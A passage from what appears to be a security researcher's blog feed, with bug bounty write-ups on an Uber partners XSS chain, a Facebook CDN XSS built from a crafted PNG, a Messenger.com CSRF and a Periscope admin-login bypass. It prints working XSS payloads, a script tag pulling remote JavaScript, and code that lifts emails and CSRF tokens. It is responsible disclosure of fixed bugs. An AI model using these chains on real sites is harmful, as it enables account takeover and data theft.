class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">img</span><span class="dl">'</span><span class="p">);</span> <span class="nx">loginImg</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">https://partners.uber.com/login/</span><span class="dl">'</span><span class="p">;</span> <span class="nx">loginImg</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="nx">redir</span><span class="p">;</span> <span class="p">}</span> <span class="c1">//Redirect them to login with our code</span> <span class="kd">var</span> <span class="nx">redir</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="c1">//Get the code from the URL to make it easy for testing</span> <span class="kd">var</span> <span class="nx">code</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">hash</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">loginImg2</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">img</span><span class="dl">'</span><span class="p">);</span> <span class="nx">loginImg2</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">https://partners.uber.com/oauth/callback?code=</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">code</span><span class="p">;</span> <span class="nx">loginImg2</span><span class="p">.</span><span class="nx">onerror</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="c1">//Redirect to the profile page with the payload</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">https://partners.uber.com/profile/</span><span class="dl">'</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <h4 id="step-3-switching-back-to-their-account">Step 3. Switching Back to Their Account</h4> <p>This part is the code that will be contained as the XSS payload, stored in our account.</p> <p>As soon as this payload is executed, we can switch back to their account. This <strong>must</strong> be in an iframe - we need to be able to continue running our code.</p> <figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="c1">//Create the iframe to log the user out of our account and back into theirs</span> <span class="kd">var</span> <span class="nx">loginIframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span> <span class="nx">loginIframe</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">src</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">https://fin1te.net/poc/uber/login-target.html</span><span class="dl">'</span><span class="p">);</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">loginIframe</span><span class="p">);</span></code></pre></figure> <p>The contents of the iframe uses the CSP trick again:</p> <figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="c">&lt;!-- Set content security policy to block requests to login.uber.com, so the target maintains their session --&gt;</span> <span class="nt">&lt;meta</span> <span class="na">http-equiv=</span><span class="s">"Content-Security-Policy"</span> <span class="na">content=</span><span class="s">"img-src partners.uber.com"</span><span class="nt">&gt;</span> <span class="c">&lt;!-- Log the user out of our partner account --&gt;</span> <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"https://partners.uber.com/logout/"</span> <span class="na">onerror=</span><span class="s">"redir();"</span><span class="nt">&gt;</span> <span class="nt">&lt;script&gt;</span> <span class="c1">//Log them into partners via their session on login.uber.com</span> <span class="kd">var</span> <span class="nx">redir</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">https://partners.uber.com/login/</span><span class="dl">'</span><span class="p">;</span> <span class="p">};</span> <span class="nt">&lt;/script&gt;</span></code></pre></figure> <p>The final piece is to create <em>another</em> iframe, so we can grab some of their data.</p> <figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="c1">//Wait a few seconds, then load the profile page, which is now *their* profile</span> <span class="nx">setTimeout</span><span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">profileIframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span> <span class="nx">profileIframe</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">src</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">https://partners.uber.com/profile/</span><span class="dl">'</span><span class="p">);</span> <span class="nx">profileIframe</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">id</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">pi</span><span class="dl">'</span><span class="p">);</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">profileIframe</span><span class="p">);</span> <span class="c1">//Extract their email as PoC</span> <span class="nx">profileIframe</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span> <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">pi</span><span class="dl">'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">innerHTML</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">matches</span> <span class="o">=</span> <span class="sr">/value="</span><span class="se">([^</span><span class="sr">"</span><span class="se">]</span><span class="sr">+</span><span class="se">)</span><span class="sr">" name="email"/</span><span class="p">.</span><span class="nx">exec</span><span class="p">(</span><span class="nx">d</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="nx">matches</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="p">}</span> <span class="p">},</span> <span class="mi">9000</span><span class="p">);</span></code></pre></figure> <p>Since our final iframe is loaded from the same origin as the Profile page containing our JS, and <code class="highlighter-rouge">X-Frame-Options</code> is set to <code class="highlighter-rouge">sameorigin</code> <strong>not</strong> <code class="highlighter-rouge">deny</code>, we can access the content inside of it (using <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy#Cross-origin_script_API_access"><code class="highlighter-rouge">contentWindow</code></a>)</p> <figure style="text-align: center;"> <a href="/images/uber-partners-xss/uber-partners-xss-5.png" class="image-popup"> <picture> <source srcset="/images/uber-partners-xss/uber-partners-xss-5.webp" type="image/webp" /> <source srcset="/images/uber-partners-xss/uber-partners-xss-5.png" type="image/jpeg" /> <img src="/images/uber-partners-xss/uber-partners-xss-5.png" style="width:100%;" /> </picture> </a> </figure> <h3 id="putting-it-all-together">Putting It All Together</h3> <p>After combining all the steps, we have the following attack flow:</p> <ul> <li>Add the payload from step 3 to our profile</li> <li>Login to our account, but cancel the callback and make note of the unused <code class="highlighter-rouge">code</code> parameter</li> <li>Get the user to visit the file we created from step 2 - this is similar to how you would execute a reflected-XSS against someone</li> <li>The user will then be logged out, and logged into our account</li> <li>The payload from step 3 will be executed</li> <li>In a hidden iframe, they’ll be logged out of <em>our</em> account</li> <li>In another hidden iframe, they’ll be logged into <em>their</em> account</li> <li>We now have an iframe, in the same origin containing the user’s session</li> </ul> <p>This was a fun bug, and proves that it’s worth persevering to show a bug can have a higher impact than originally thought.</p> <p><a href="https://whitton.io/articles/uber-turning-self-xss-into-good-xss/">Uber Bug Bounty: Turning Self-XSS into Good-XSS</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on March 22, 2016.</p> <![CDATA[An XSS on Facebook via PNGs & Wonky Content Types]]> https://whitton.io/articles/xss-on-facebook-via-png-content-types 2016-01-27T00:00:00-00:00 2016-01-27T00:00:00+00:00 Jack https://whitton.io [email protected] <p>Content uploaded to Facebook is stored on their <a href="https://en.wikipedia.org/wiki/Content_delivery_network">CDN</a>, which is served via various domains (most of which are sub-domains of either <code>akamaihd.net</code> or <code>fbcdn.net</code>).</p> <p>The <a href="https://www.facebook.com/help/261764017354370">captioning feature of Videos</a> also stores the <code>.srt</code> files on the CDN, and I noticed that right-angle brackets were un-encoded.</p> <pre>https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xaf1/&hellip;.srt</pre> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-1-1.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-1-1.png" style="width:70%;" /> </a> </figure> <p>I was trying to think of ways to get the file interpreted as HTML. Maybe MIME sniffing (since there’s no <code><a href="https://www.owasp.org/index.php/List_of_useful_HTTP_headers">X-Content-Type-Option</a></code> header)?</p> <p>It’s actually a bit easier than that. We can just change the extension to <code>.html</code> (which probably shouldn’t be possible…).</p> <pre>https://fbcdn-dragon-a.akamaihd.net/hphotos-ak-xaf1/t39.2093-6/&hellip;.html</pre> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-1.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-1.png" style="width:70%;" /> </a> </figure> <p>Unfortunately left angles are stripped out (which I later found out was due to <a href="https://twitter.com/phwd">@phwd</a>’s very <a href="http://philippeharewood.com/ability-to-upload-html-via-srt-caption-files-for-facebook-videos/">much related finding</a>), so there’s not much we can do here. Instead, I looked for other files which could also be loaded as <code>text/html</code>.</p> <p>A lot of the photos/videos on Facebook now seem to contain a hash in the URL (parameters <code>oh</code> and <code>__gda__</code>), which causes an error to be thrown if we modify the file extension.</p> <p>Luckily, advert images don’t contain these parameters.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-2.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-2.png" /> </a> </figure> <p>All that we have to do now is find a way to embed some HTML into an image. The trouble is that <a href="https://en.wikipedia.org/wiki/Exchangeable_image_file_format">Exif</a> data is stripped out of JPEGs, and <a href="http://www.libpng.org/pub/png/spec/1.2/PNG-Chunks.html#C.Anc-text">iTXt chunks</a> are stripped out of PNGs.</p> <p>If we try to blindly insert a string into an image and upload it we receive an error.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-3.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-3.png" /> </a> </figure> <h4 id="png-idat-chunks">PNG IDAT Chunks</h4> <p>I started searching for ideas and came across this great blog post: <a href="http://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/" rel="noreferrer">“Encoding Web Shells in PNG IDAT chunks”</a>. This section of this bug is made possible due that post, so props to the author.</p> <p>The post describes encoding data into the <a href="http://www.w3.org/TR/PNG/#11IDAT">IDAT</a> chunk, which ensures it’ll stay there even after the modifications Facebook’s image uploader makes.</p> <p>The author kindly provides a <a href="http://www.idontplaydarts.com/images/phppng.png" rel="noreferrer">proof-of-concept image</a>, which worked perfectly (the PHP shell obviously won’t execute, but it demonstrates that the data survived uploading).</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-4.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-4.png" style="width:70%;" /> </a> </figure> <p>Now, I could have submitted the bug there and then - we’ve got proof that images can be served with a content type of <code>text/html</code>, and angle brackets aren’t encoded (which means we can certainly inject HTML).</p> <p>But that’s boring, and everyone knows an XSS isn’t an XSS without an alert box.</p> <p>The author also provides an <a href="http://www.idontplaydarts.com/images/xsspng.png" rel="noreferrer">XSS ready PNG</a>, which I could just upload and be done. But since it references a remote JS file, I wasn’t too keen on the bug showing up in a referer log. Plus I wanted to try myself to create one of these images.</p> <p>As mentioned in post, the first step is to craft a string, that when compressed using <a href="https://en.wikipedia.org/wiki/DEFLATE">DEFLATE</a>, produces the desired output. Which in this case is:</p> <pre>&lt;SCRIPT src=//FNT.PE&gt;&lt;script&gt;</pre> <p>Rather than trying to create this by hand, I used a brute-force solution (I’m sure there are <em>much</em> better ways, but I wanted to whip up a script and leave it running):</p> <ul> <li>Convert the desired output to hex - <code>3c534352495054205352433d2f2f464e542e50453e3c2f7363726970743e</code></li> <li>Prepend <code>0x00</code> -&gt; <code>0xff</code> to the string (one to two times)</li> <li>Append <code>0x00</code> -&gt; <code>0xff</code> to the string (one to two times)</li> <li>Attempt to uncompress the string until an error isn’t thrown</li> <li>Check that the result contains our expected string</li> </ul> <p>The script took a while to run, but it produced the following output:</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f</code></pre></figure> <p>Compressing the above confirms that we get our string back:</p> <figure class="highlight"> <pre> fin1te@mbp /tmp » php -r "echo gzdeflate(hex2bin('7ff399281922111510691928276e6e5c1e151e51241f576e69b16375535b6f')) . PHP_EOL;" ??&lt;SCRIPT SRC=//FNT.PE&gt;&lt;/script&gt; </pre> </figure> <p>Combining the result, with the PHP code for reversing PNG filters and generating the image, gives us the following:</p> <figure style="text-align: center;"> <a href="/images/facebookxss/xss-fnt-pe-png.png" class="image-popup"> <img src="/images/facebookxss/xss-fnt-pe-png.png" style="width:40%;" /> </a> </figure> <p>Which, when dumped, shows our payload:</p> <figure class="highlight"> <pre> fin1te@mbp /tmp » hexdump -C xss-fnt-pe-png.png 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010 00 00 00 20 00 00 00 20 08 02 00 00 00 fc 18 ed |... ... ........| 00000020 a3 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e |.....pHYs.......| 00000030 c4 01 95 2b 0e 1b 00 00 00 65 49 44 41 54 48 89 |...+.....eIDATH.| 00000040 63 ac ff <strong>3c 53 43 52 49 50 54 20 53 52 43 3d 2f</strong> |c..<strong>&lt;SCRIPT SRC=/</strong>| 00000050 <strong>2f 46 4e 54 2e 50 45 3e 3c 2f 73 63 72 69 70 74</strong> |<strong>/FNT.PE&gt;&lt;/script</strong>| 00000060 <strong>3e</strong> c3 ea c0 46 8d 17 f3 af de 3d 73 d3 fd 15 cb |<strong>&gt;</strong>...F.....=s....| 00000070 43 2f 0f b5 ab a7 af ca 7e 7d 2d ea e2 90 22 ae |C/......~}-...".| 00000080 73 85 45 60 7a 90 d1 8c 3f 0c a3 60 14 8c 82 51 |s.E`z...?..`...Q| 00000090 30 0a 46 c1 28 18 05 a3 60 14 8c 82 61 00 00 78 |0.F.(...`...a..x| 000000a0 32 1c 02 78 65 1f 48 00 00 00 00 49 45 4e 44 ae |2..xe.H....IEND.| 000000b0 42 60 82 |B`.| </pre> </figure> <p>We can then upload it to our advertiser library, and browse to it (with an extension of <code>.html</code>).</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-5.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-5.png" style="width:70%;" /> </a> </figure> <h4 id="bypassing-link-shim">Bypassing Link Shim</h4> <p>What can you do with an XSS on a CDN domain? Not a lot.</p> <p>All I could come up with is a LinkShim bypass. <a href="https://www.facebook.com/notes/facebook-security/link-shim-protecting-the-people-who-use-facebook-from-malicious-urls/10150492832835766">LinkShim</a> is script/tool which all external links on Facebook are forced through. This then checks for malicious content.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-6.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-6.png" /> </a> </figure> <p>CDN URL’s however <em>aren’t</em> Link Shim’d, so we can use this as a bypass.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-7.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-7.png" /> </a> </figure> <h4 id="moving-from-the-akamai-cdn-hostname-to-facebookcom">Moving from the Akamai CDN hostname to *.facebook.com</h4> <p>Redirects are pretty boring. So I thought I’d check to see if any <code>*.facebook.com</code> DNS entries were pointing to the CDN.</p> <p>I found <code>photo.facebook.com</code> (I forgot to screenshot the output of <code>dig</code> before the patch, so here’s an entry from Google’s cache):</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-8.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-8.png" /> </a> </figure> <p>Browsing to this host with our image as the path loads a JavaScript file from <a href="https://fnt.pe">fnt.pe</a>, which then displays an alert box with the hostname.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-9.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-9.png" /> </a> </figure> <p>Any session cookies are marked as <a href="https://en.wikipedia.org/wiki/HTTP_cookie#HttpOnly_cookie">HTTPOnly</a>, and we can’t make requests to <code>www.facebook.com</code>. What do we do other than popping an alert box?</p> <h4 id="enter-documentdomain">Enter <code>document.domain</code></h4> <p>It’s possible for two pages from a different origin, but sharing the same parent domain, to interact with each other, providing they both set the <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/domain">document.domain</a></code> property to the parent domain.</p> <p>We can easily do this for our page, since we can run arbitrary JavaScript. But we also need to find a page on <code>www.facebook.com</code> which does the same, and doesn’t have an <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options">X-Frame-Options</a></code> header set to <code>DENY</code> or <code>SAMEORIGIN</code> (we’re still cross-origin at this point).</p> <p>This wasn’t too difficult to find - Facebook has various plugins which are meant to be placed inside an <code>&lt;iframe&gt;</code>.</p> <p>We can use the <a href="https://developers.facebook.com/docs/plugins/page-plugin">Page Plugin</a>. It sets the <code>document.domain</code> property, and also contains <code>fb_dtsg</code> (the CSRF token Facebook uses).</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-10.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-10.png" /> </a> </figure> <p>What we now need to do is load the plugin inside an iframe, wait for the <code>onload</code> event to fire, and extract the token from the content.</p> <figure class="highlight"><pre><code class="language-js" data-lang="js"><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">facebook.com</span><span class="dl">'</span><span class="p">;</span> <span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span> <span class="nx">i</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">id</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">i</span><span class="dl">'</span><span class="p">);</span> <span class="nx">i</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">style</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">visibility:hidden;width:0px;height:0px;</span><span class="dl">'</span><span class="p">);</span> <span class="nx">i</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="dl">'</span><span class="s1">src</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">https://www.facebook.com/v2.4/plugins/page.php?adapt_container_width=true&amp;app_id=113869198637480&amp;channel=https%3A%2F%2Fs-static.ak.facebook.com%2Fconnect%2Fxd_arbiter%2FX9pYjJn4xhW.js%3Fversion%3D41%23cb%3Df365065abc%26domain%3Ddevelopers.facebook.com%26origin%3Dhttps%253A%252F%252Fdevelopers.facebook.com%252Ff366e4bcac%26relation%3Dparent.parent&amp;container_width=588&amp;hide_cover=false&amp;href=https%3A%2F%2Fwww.facebook.com%2Ffacebook&amp;locale=en_GB&amp;sdk=joey&amp;show_facepile=true&amp;show_posts=true&amp;small_header=false</span><span class="dl">'</span><span class="p">);</span> <span class="nx">i</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(){</span> <span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">domain</span> <span class="o">+</span> <span class="dl">"</span><span class="se">\n</span><span class="s2">fb_dtsg: </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">i</span><span class="p">.</span><span class="nx">contentWindow</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByName</span><span class="p">(</span><span class="dl">'</span><span class="s1">fb_dtsg</span><span class="dl">'</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">value</span><span class="p">);</span> <span class="p">};</span> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span></code></pre></figure> <p>Notice how the alert box now shows <code>facebook.com</code>, not <code>photos.facebook.com</code>.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-11.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-11.png" /> </a> </figure> <p>We now have access to the user’s CSRF token, which means we can make arbitrary requests on their behalf (such as posting a status, etc).</p> <p>It’s also possible to issue <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XHR</a> requests via the iframe to extract data from <code>www.facebook.com</code> (rather than blindly post data with the token).</p> <p>So it turns out an XSS on the CDN can do <em>pretty much</em> everything that one on the main site can.</p> <h4 id="fix">Fix</h4> <p>Facebook quickly hot-fixed the issue by removing the forward DNS entry for <code>photo.facebook.com</code>.</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-12.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-12.png" style="width:70%;" /> </a> </figure> <p>Whilst the content type issue still exists, it’s a lot less severe since the files are hosted on a sandboxed domain.</p> <h4 id="bonus-ascii-art">Bonus ASCII Art</h4> <p>One easter-egg I found was that if you append <code>.txt</code> or <code>.html</code> to the URL (rather than replace the file extension), you get a cool ASCII art version of the image. This also works for images on Instagram (since they share the same CDN).</p> <p><a href="https://fbcdn-photos-b-a.akamaihd.net/hphotos-ak-xtf1/t39.2081-0/11409241_518100315004842_156594719_n.jpg.html">Try it out yourself</a>:</p> <figure style="text-align: center;"> <a href="/images/facebookxss/facebook-xss-13.png" class="image-popup"> <img src="/images/facebookxss/facebook-xss-13.png" style="width:70%;" /> </a> </figure> <p><a href="https://whitton.io/articles/xss-on-facebook-via-png-content-types/">An XSS on Facebook via PNGs & Wonky Content Types</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on January 27, 2016.</p> <![CDATA[Messenger.com Site-Wide CSRF]]> https://whitton.io/articles/messenger-site-wide-csrf 2015-07-26T00:00:00-00:00 2015-07-26T00:00:00+01:00 Jack https://whitton.io [email protected] <p><em>I originally wasn’t going to publish this, but <a href="https://twitter.com/phwd">@phwd</a> wanted to hear about some of my recent bugs so this post is dedicated to him.</em></p> <p><em>This issue was also found by <a href="https://twitter.com/mazen160">@mazen160</a>, who <a href="http://blog.mazinahmed.net/2015/06/facebook-messenger-multiple-csrf.html">blogged about it</a> back in June.</em></p> <p>When <a href="https://www.messenger.com">Messenger.com</a> launched back in April, I quickly had a look for any low-hanging fruit.</p> <p>One of the first things to do is check end-points for <a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-Site Request Forgery</a> issues. This is whereby an attacker can abuse the fact that cookies are implicity sent with a request (regardless of where the request is made from), and perform actions on another users behalf, such as sending a message or updating a status.</p> <p>There are different ways of mitigating this (with varying results), but usually this is achieved by sending a non-guessable token with each request, and comparing it to a value stored server-side/decrypting it and verifying the contents.</p> <p>The way I normally check for these is as follows:</p> <ol> <li>Perform the request without modifying the parameters, so we can see what the expected result is</li> <li>Remove the CSRF token completely (in this case, the <code>fb_dtsg</code> parameter)</li> <li>Modify one of the characters in the token (but keep the length the same)</li> <li>Remove the value of the token (but leave the parameter in place)</li> <li>Convert to a GET request</li> </ol> <p>If any of the above steps produce the same result as #1 then we know that the end-point is likely to be vulnerable (there are <em>some</em> instances where you might get a successful response, but in fact no data has been modified and therefore the token hasn’t been checked).</p> <p>Normally, on Faceboook, the response is one of two, depending on if the request is an AJAX request or not (indicated by the <code>__a</code> parameter).</p> <p>Either a redirect to <code>/common/invalid_request.php</code>:</p> <figure style="text-align: center;"> <a href="/images/messengercsrf/messenger-csrf-1.png" class="image-popup"> <img src="/images/messengercsrf/messenger-csrf-1.png" /> </a> </figure> <p>Or an error message:</p> <figure style="text-align: center;"> <a href="/images/messengercsrf/messenger-csrf-2.png" class="image-popup"> <img src="/images/messengercsrf/messenger-csrf-2.png" /> </a> </figure> <p>I submitted the following request to change the <code>sound_enabled</code> setting, without <code>fb_dtsg</code>:</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">POST /settings/edit/ HTTP/1.1 Host: www.messenger.com Content-Type: application/x-www-form-urlencoded settings[sound_enabled]=false&amp;__a=1</code></pre></figure> <p>Which surprisingly gave me the following response:</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Content-Length: 3559 for (;;);{"__ar":1,"payload":[],"jsmods":{"instances":[["m_a_0",["MarketingLogger"],[null,{"is_mobile":false,"controller_name":"XMessengerDotComSettingsEditController" ...</code></pre></figure> <p>I tried another end-point, this time to remove a user from a group thread.</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">POST /chat/remove_participants/?uid=100...&amp;tid=153... HTTP/1.1 Host: www.messenger.com Content-Type: application/x-www-form-urlencoded __a=1</code></pre></figure> <p>Which <em>also</em> worked:</p> <figure class="highlight"><pre><code class="language-text" data-lang="text">HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Content-Length: 136 for (;;);{"__ar":1,"payload":null,"domops":[["replace","^.fbProfileBrowserListItem",true,null]],"bootloadable":{},"ixData":{},"lid":"0"}</code></pre></figure> <p>After trying one more I realised that the check was missing on <strong>every</strong> request.</p> <h4 id="fix">Fix</h4> <p>Simple and quick fix - tokens are now properly checked on every request.</p> <p><a href="https://whitton.io/articles/messenger-site-wide-csrf/">Messenger.com Site-Wide CSRF</a> was originally published by Jack at <a href="https://whitton.io">Jack</a> on July 26, 2015.</p> <![CDATA[Bypassing Google Authentication on Periscope's Administration Panel]]> https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel 2015-07-20T00:00:00-00:00 2015-07-20T00:00:00+01:00 Jack https://whitton.io [email protected] <p>I haven’t blogged for quite some time, so I thought it was worth re-launching with an interesting, albeit simple, high-impact bug.</p> <p><a href="https://www.periscope.tv/">Periscope</a> is an iOS/Android app, owned by Twitter, used for live streaming. To manage the millions of users, a web-based administation panel is used, accessible at <a href="https://admin.periscope.tv">admin.periscope.tv</a>.</p> <p>When you browse to the site, all requests are redirected to <code>/auth?redirect=/</code> (since we don’t have a valid session), which in turn redirects to <a href="https://developers.google.com/identity/protocols/OpenIDConnect">Google for authentication</a>.</p> <figure style="text-align: center;"> <a href="/images/periscope/periscope-admin-panel-1.png" class="image-popup"> <img src="/images/periscope/periscope-admin-panel-1.png" /> </a> </figure> <p>The redirected URL, shown below, contains various parameters, but the most interesting one is <code>hd</code>. This is used to <a href="https://developers.google.com/identity/protocols/OpenIDConnect#hd-param">restrict logins to a specific domain</a>, in this case <code>bountyapp.co</code>.</p> <figure class="highlight"> <pre> https://accounts.google.com/o/oauth2/auth?access_type= &amp;approval_prompt= &amp;client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com <strong>&amp;hd=bountyapp.co</strong> &amp;redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback &amp;response_type=code &amp;scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fplus.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile &amp;state=%2FStreams </pre> </figure> <p>If we try and login with an account such as <code>[email protected]</code>, we’re redirected back to the account selection page, and if we try again we get redirected back to the same place, and so on.</p> <figure style="text-align: center;"> <a href="/images/periscope/periscope-admin-panel-2.png" class="image-popup"> <img src="/images/periscope/periscope-admin-panel-2.png" /> </a> </figure> <p>However, we can simply remove this parameter. There’s no signature in the URL to prevent us from making modifications, and as indicated in the documentation, the onus is on the application to validate the returned token.</p> <p>This gives us the following login URL (you may also notice I’ve removed the Google+ scope, this is purely because my test account isn’t signed up for it):</p> <figure class="highlight"> <pre> https://accounts.google.com/o/oauth2/auth?access_type= &amp;approval_prompt= &amp;client_id=57569323683-c0hvkac6m15h3u3l53u89vpquvjiu8sb.apps.googleusercontent.com &amp;redirect_uri=https%3A%2F%2Fadmin.periscope.tv%2Fauth%2Fcallback &amp;response_type=code &amp;scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile &amp;state=%2FStreams </pre> </figure> <p>Browsing to this new URL prompts us to authorise the application.</p> <figure style="text-align: center;"> <a href="/images/periscope/periscope-admin-panel-3.png" class="image-popup"> <img src="/images/periscope/periscope-admin-panel-3.png" /> </a> </figure> <p>After clicking “Accept”, a redirect is issused back to the administation panel, with our code as a parameter.</p> <figure style="text-align: center;"> <a href="/images/periscope/periscope-admin-panel-4.png" class="image-popup"> <img src="/images/periscope/periscope-admin-panel-4.png" /> </a> </figure> <p>This is where the application should then exchange the code for an access token, and validate the returned user ID against either a whitelist, or at the very least verify that the domain is <code>bountyapp.co</code>.</p> <p>But, in this case, the assumption is made that if you managed to login, you are an employee with an <code>@bountyapp.co</code> email.</p> <p>The requested <code><a href="https://developers.google.com/+/web/api/rest/oauth#userinfo.profile">userinfo.profile</a></code> permission doesn’t contain the user’s email address, so the application can’t validate it if it tried.</p> <p>This then presents us with the admin panel.</p> <figure style="text-align: center;"> <a href="/images/periscope/periscope-admin-panel-5.png" 